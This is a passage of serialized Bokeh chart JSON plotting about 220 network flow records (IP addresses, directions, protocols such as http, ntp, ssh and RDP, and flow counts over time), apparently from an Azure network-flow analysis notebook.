%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3531\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"3315\"},\"glyph\":{\"id\":\"3317\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3318\"},\"selection_glyph\":null,\"view\":{\"id\":\"3320\"}},\"id\":\"3319\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"3515\",\"type\":\"Title\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"72.21.91.29\",\"13.107.4.50\",\"23.48.36.47\",\"23.4.187.27\",\"72.21.81.240\",\"72.21.81.240\",\"13.107.4.50\",\"72.21.91.29\",\"72.21.81.240\",\"216.58.218.238\",\"173.194.61.40\",\"72.21.91.29\",\"23.45.180.121\",\"13.107.4.50\",\"205.185.216.42\",\"23.4.187.27\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"13.107.4.50\",\"72.21.91.29\",\"13.107.4.50\",\"72.21.91.29\",\"8.253.45.249\",\"205.185.216.42\",\"23.223.3.100\",\"72.21.81.240\",\"23.48.36.78\",\"40.80.145.38\",\"40.87.63.92\",\"99.84.106.178\",\"23.3.13.106\",\"99.84.106.27\",\"23.3.13.112\",\"23.45.180.234\",\"99.84.106.92\",\"72.21.81.240\",\"23.3.13.146\",\"8.249.241.254\",\"38.75.137.9\",\"23.48.36.78\",\"72.21.91.29\",\"23.45.181.178\",\"72.21.81.240\",\"184.51.150.81\",\"23.45.180.34\",\"72.21.81.240\",\"13.107.4.50\",\"72.21.91.29\",\"72.21.91.29\",\"23.45.180.232\",\"23.45.181.160\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"205.185.216.10\",\"72.21.91.29\",\"72.21.91.29\",\"65.158.47.112\",\"72.21.81.240\",\"23.4.187.27\",\"23.56.172.240\",\"72.21.91.29\",\"72.21.81.240\",\"23.45.180.184\",\"72.21.91.29\",\"23.4.187.27\",\"67.26.237.254\",\"72.21.91.29\",\"23.45.181.176\",\"23.73.181.8\",\"184.51.150.105\",\"72.21.91.29\",\"67.26.233.254\",\"72.21.91.29\",\"72.21.91.29\",\"23.48.36.61\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"23.48.36.78\",\"23.3.13.152\",\"23.45.180.224\",\"23.215.98.90\",\"72.21.81.240\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.179.17.38\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.179.17.38\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"10.0.3.5\",\"10.0.3.4\",\"10.0.3.5\",\"10.0.3.4\",\"10.0.3.4\",\"104.211.30.1\",\"104.211.30.1\",\"10.0.3.5\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"90.130.70.73\",\"90.130.70.73\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"I\",\"O\",\"I\",\"O\",\"O\",\"O\",\"I\",\"I\",\"I\",\"I\",\"I\",\"I\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"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\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[220]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\",\"ssh\",\"ssh\",\"ssh\",\"ssh\",\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\",\"ftp\",\"ftp\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAA8D8AAAAAAAAAQAAAAAAAAABAAAAAAAAACEAAAAAAAAAIQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAIBEQAAAAAAAgERAAAAAAACAREAAAAAAAIBEQAAAAAAAgERAAAAAAACAREAAAAAAAIBEQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAkQAAAAAAAACRAAAAAAAAAJEAAAAAAAAAkQAAAAAAAACRAAAAAAAAAJEAAAAAAAAAkQAAAAAAAACRAAAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAA8D8AAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAAPA/AAAAAAAAEEAAAAAAAAAQQAAAAAAAAPA/AAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABRAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAAQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAGEAAAAAAAAAYQAAAAAAAAPA/AAAAAAAAGEAAAAAAAAAoQAAAAAAAAPA/AAAAAAAACEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAJkAAAAAAAAAQQAAAAAAAAPA/AAAAAAAA8D8=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[220]},\"color\":[\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#30678D\",\"#30678D\",\"#30678D\",\"#30678D\",\"#8DD644\",\"#8DD644\",\"#8DD644\",\"#8DD644\",\"#208F8C\",\"#208F8C\",\"#208F8C\",\"#208F8C\",\"#208F8C\",\"#440154\",\"#440154\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,2,2,2,2,5,5,5,5,3,3,3,3,3,0,0]},\"selected\":{\"id\":\"3589\"},\"selection_policy\":{\"id\":\"3590\"}},\"id\":\"3533\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3288\",\"type\":\"Circle\"},{\"attributes\"